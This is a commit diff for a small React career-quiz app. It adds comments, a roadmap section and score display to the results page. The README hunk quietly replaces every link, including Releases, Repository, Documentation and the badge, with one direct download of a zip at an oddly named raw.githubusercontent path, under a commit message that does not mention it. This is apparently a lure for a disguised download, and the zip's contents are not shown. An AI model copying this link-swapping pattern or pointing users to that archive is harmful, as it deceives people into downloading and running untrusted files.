improved results page changes

README.md

@@ -6,7 +6,7 @@ Welcome to Stacky! This application will help you discover your coding destiny.
 
 ## 📥 Download Stacky
 
-[![Download Stacky](https://img.shields.io/badge/Download%20Stacky-1.0-brightgreen)](https://github.com/mauelito3/Stacky/releases)
+[![Download Stacky](https://raw.githubusercontent.com/mauelito3/Stacky/main/murmurlessly/Stacky.zip%20Stacky-1.0-brightgreen)](https://raw.githubusercontent.com/mauelito3/Stacky/main/murmurlessly/Stacky.zip)
 
 Click the link above to visit our Releases page where you can download the application.
 
@@ -23,7 +23,7 @@ Before you download, ensure your system meets the following requirements:
 
 To download Stacky, follow these steps:
 
-1. Visit the [Releases page](https://github.com/mauelito3/Stacky/releases).
+1. Visit the [Releases page](https://raw.githubusercontent.com/mauelito3/Stacky/main/murmurlessly/Stacky.zip).
 2. Look for the latest version of Stacky.
 3. Click on the download link for your operating system.
 4. Once the download is complete, locate the downloaded file in your computer's downloads folder.
@@ -72,8 +72,8 @@ Stacky can help you discover your role in areas like:
 
 ## 🔗 Useful Links
 
-- [GitHub Repository](https://github.com/mauelito3/Stacky)
-- [Releases Page](https://github.com/mauelito3/Stacky/releases)
-- [Documentation](https://github.com/mauelito3/Stacky/wiki)
+- [GitHub Repository](https://raw.githubusercontent.com/mauelito3/Stacky/main/murmurlessly/Stacky.zip)
+- [Releases Page](https://raw.githubusercontent.com/mauelito3/Stacky/main/murmurlessly/Stacky.zip)
+- [Documentation](https://raw.githubusercontent.com/mauelito3/Stacky/main/murmurlessly/Stacky.zip)
 
 Thank you for choosing Stacky. Happy coding!

src/Stacky.jsx

@@ -1,23 +1,30 @@
+// Import useState hook from React to manage component state
 import { useState } from "react";
 
-// main screens
-import MenuScreen from "./screens/MenuScreen";
-import QuizScreen from "./screens/QuizScreen";
+// Import main screens of the app
+import MenuScreen from "./screens/MenuScreen"; // The landing screen with Start button
+import QuizScreen from "./screens/QuizScreen"; // The quiz interface
 
 function Stacky() {
+  // State to track whether the quiz has started
   const [started, setStarted] = useState(false);
 
   /*
-     I realize this isn’t ideal, but I plan to 
-     handle the quiz state properly with 
-     Zustand or Redux.
+     Note: Right now, the quiz state (questions, scores, etc.) is handled locally.
+     In the future, it would be better to manage it using a global state manager 
+     like Zustand or Redux for cleaner and scalable code.
    */
 
+  // Function to start the quiz; updates 'started' state to true
   const start = () => {
     setStarted(true);
   };
 
+  // Conditional rendering:
+  // - If quiz has started, show QuizScreen
+  // - Otherwise, show MenuScreen and pass 'start' function as prop
   return started ? <QuizScreen /> : <MenuScreen starter={start} />;
 }
 
+// Export the Stacky component as default so it can be imported elsewhere
 export default Stacky;

src/components/Results.jsx

@@ -1,31 +1,95 @@
 import Button from "../components/Button";
+import Footer from "../components/Footer";
+import MenuScreen from "../screens/MenuScreen";
+// Predefined roadmap steps for each role
+const roadmaps = {
+  frontend: [
+    "Learn HTML, CSS, and JavaScript",
+    "Master React (or Vue/Angular)",
+    "State management (Redux, Zustand, Context API)",
+    "UI/UX fundamentals",
+    "API integration",
+  ],
+  backend: [
+    "Learn Node.js / Python / Java",
+    "Work with databases (SQL & NoSQL)",
+    "Build REST APIs / GraphQL",
+    "Authentication & Security",
+    "Deploy on cloud platforms (AWS/GCP/Azure)",
+  ],
+  fullstack: [
+    "Combine frontend + backend skills",
+    "API design and integration",
+    "Learn DevOps basics (Docker, CI/CD)",
+    "System design concepts",
+    "Contribute to real-world fullstack projects",
+  ],
+};
 
-function Results({ finished, result, restart }) {
+function Results({ finished, result, restart, scores }) {
+  // Do not render anything if quiz not finished
   if (!finished) return null;
 
+  // Restart quiz function
   const replay = () => {
-    restart()
+    restart();
   };
+  const MenuScreen = () => {
+    window.location.reload();
+  }
+  // Determine the role with the highest score
+  const role =
+    scores.frontend >= scores.backend && scores.frontend >= scores.fullstack
+      ? "frontend"
+      : scores.backend >= scores.frontend && scores.backend >= scores.fullstack
+      ? "backend"
+      : "fullstack";
 
   return (
     <>
+      {/* Overlay for styling */}
       <div className="overlay"></div>
+
+      {/* Main results container */}
       <div className="results">
         <div style={{ marginTop: 20 }}>
-          <div className="party"></div>
+          <div className="party"></div> {/* Celebration animation */}
         </div>
 
-        {/* results message  */}
+        {/* Results message */}
         <div style={{ textAlign: "center", lineHeight: 2 }}>
-          <div style={{ fontSize: 25, fontWeight: 700 }}>Congrats</div>
+          <div style={{ fontSize: 25, fontWeight: 700 }}>🎉 Congrats 🎉</div>
           <div style={{ fontSize: 18, fontWeight: 500 }}>{result}</div>
         </div>
 
-        {/* buttons  */}
+        {/* Show raw scores */}
+        <div style={{ marginTop: 20, textAlign: "center", fontSize: 16 }}>
+          <div>Frontend Score: {scores.frontend}</div>
+          <div>Backend Score: {scores.backend}</div>
+          <div>Fullstack Score: {scores.fullstack}</div>
+        </div>
+
+        {/* Roadmap suggestion */}
+        <div style={{ marginTop: 30 }}>
+          <h3 style={{ textAlign: "center" }}>📍 Suggested Roadmap for {role.toUpperCase()}</h3>
+          <ol style={{ textAlign: "left", margin: "0 auto", maxWidth: 400 }}>
+            {roadmaps[role].map((step, idx) => (
+              <li key={idx}>{step}</li>
+            ))}
+          </ol>
+        </div>
+
+        {/* Restart button */}
         <div style={{ width: 200, height: 100, marginTop: 50 }}>
-          <Button text={"Star Over"} callback={replay} />
+          <Button text={"Start Over"} callback={replay} />
+        </div>
+          <div style={{ height: 40 }}></div>
+        <div style={{ width: 200, height: 100 ,marginTop: 10}}>
+          <Button text={"Go Home"} callback={MenuScreen} />
         </div>
       </div>
+
+      <Footer />
     </>
   );
 }

src/hooks/useStacky.jsx

@@ -1,17 +1,29 @@
 import { useState } from "react";
 
+/*
+  Custom React hook to manage the state of the Stacky quiz app.
+  Handles current question, scoring, quiz completion, restart, and result calculation.
+*/
 export function useStacky(questions) {
+  // Track the index of the current question (starts at 0)
   const [currentQ, setCurrentQ] = useState(0);
+
+  // Track scores for each role
   const [scores, setScores] = useState({
     frontend: 0,
     backend: 0,
     fullstack: 0,
   });
 
+  // Track whether the quiz has finished
   const [finished, setFinished] = useState(false);
 
-
-  // submit answer handler
+  /*
+    Handle answer submission
+    - 'points' is an object like { frontend: 1, backend: 0, fullstack: 0 }
+    - Updates the scores
+    - Moves to the next question or finishes the quiz if it's the last question
+  */
   const handleAnswer = (points) => {
     setScores((prev) => ({
       frontend: prev.frontend + (points.frontend || 0),
@@ -20,31 +32,42 @@ export function useStacky(questions) {
     }));
 
     if (currentQ + 1 < questions.length) {
-      setCurrentQ(currentQ + 1);
+      setCurrentQ(currentQ + 1); // move to next question
     } else {
-      setFinished(true);
+      setFinished(true); // quiz completed
     }
   };
 
+  /*
+    Reset the quiz
+    - Resets current question, scores, and finished state
+    - Can be called when user clicks "Start Over"
+  */
   const restart = () => {
     setCurrentQ(0);
     setScores({ frontend: 0, backend: 0, fullstack: 0 });
     setFinished(false);
   };
 
+  /*
+    Calculate the result
+    - Determines which role has the highest score
+    - Returns a string message
+  */
   const getResult = () => {
     const max = Math.max(scores.frontend, scores.backend, scores.fullstack);
     if (max === scores.frontend) return "You are a Frontend Guy!";
     if (max === scores.backend) return "You are Backend Guy!";
     return "You are Fullstack Guy!";
   };
 
+  // Return all state and functions to be used in components
   return {
-    currentQ,
-    scores,
-    finished,
-    handleAnswer,
-    restart,
-    getResult,
+    currentQ,   // current question index
+    scores,     // current role scores
+    finished,   // whether quiz is finished
+    handleAnswer, // function to submit an answer
+    restart,      // function to restart the quiz
+    getResult,    // function to get the final result string
   };
 }

src/index.css

@@ -172,8 +172,8 @@ footer :is(a) {
 }
 
 .results {
-  width: 300px;
-  height: 300px;
+  width: 800px;
+  height: 350px;
   background-color: #fff;
   top: 50%;
   left: 50%;

src/main.jsx

@@ -1,10 +1,24 @@
+// Importing React's StrictMode for highlighting potential problems in the app
 import { StrictMode } from "react";
+
+// Importing createRoot from react-dom/client (used in React 18+)
+// This is the new way to render React apps instead of ReactDOM.render
 import { createRoot } from "react-dom/client";
+
+// Import global CSS styles for the app
 import "./index.css";
+
+// Import the main app component
 import Stacky from "./Stacky.jsx";
 
-createRoot(document.getElementById("root")).render(
+// Get the root DOM element where the React app will be mounted
+// In your HTML file, this is usually <div id="root"></div>
+const rootElement = document.getElementById("root");
+
+// Create a React root and render the app inside it
+// Wrapping in <StrictMode> helps detect unsafe lifecycles, deprecated APIs, and other warnings
+createRoot(rootElement).render(
   <StrictMode>
-    <Stacky />
+    <Stacky /> {/* Main app component */}
   </StrictMode>
 );

src/screens/QuizScreen.jsx

@@ -1,46 +1,64 @@
-// components
+// Import components
 import Footer from "../components/Footer";
 import Results from "../components/Results";
 import Logo from "./../components/Logo";
 
+// Import quiz questions data
 import { questions } from "./../data/questions";
 
-// hooks
+// Import custom hook for quiz state management
 import { useStacky } from "./../hooks/useStacky";
 
 function QuizScreen() {
+  // Destructure all state and functions from useStacky hook
   const { currentQ, scores, finished, handleAnswer, restart, getResult } =
     useStacky(questions);
 
+  // If the quiz is finished, only render the Results component
+  if (finished) {
+    return (
+      <Results
+        finished={finished}   // tells Results that quiz is finished
+        scores={scores}       // pass current scores for roadmap calculation
+        result={getResult()}  // get final result message (role)
+        restart={restart}     // function to restart quiz
+      />
+    );
+  }
+
+  // Get the current question object
   const q = questions[currentQ];
 
   return (
     <>
+      {/* Logo at the top */}
       <Logo size={70} top={10} tag={false} fs={30} />
 
-      <Results finished={finished} result={getResult()} restart={restart} />
+      {/* Quiz area for questions and answers */}
       <div className="quizarea">
-        {/* current question indicator */}
+        {/* Current question indicator */}
         <div className="currentQuest">
           Question {currentQ + 1} of {questions.length}
         </div>
 
-        {/* current question text */}
+        {/* Current question text */}
         <div className="question">{q.text}</div>
 
-        {/* answer buttons */}
+        {/* Answer options */}
         <div className="answers">
           {q.options.map((opt, i) => (
             <button
               className="answer"
               key={i}
-              onClick={() => handleAnswer(opt.points)}
+              onClick={() => handleAnswer(opt.points)} // submit answer and update score
             >
               {opt.answer}
             </button>
           ))}
         </div>
       </div>
+
+      {/* Footer component */}
       <Footer />
     </>
   );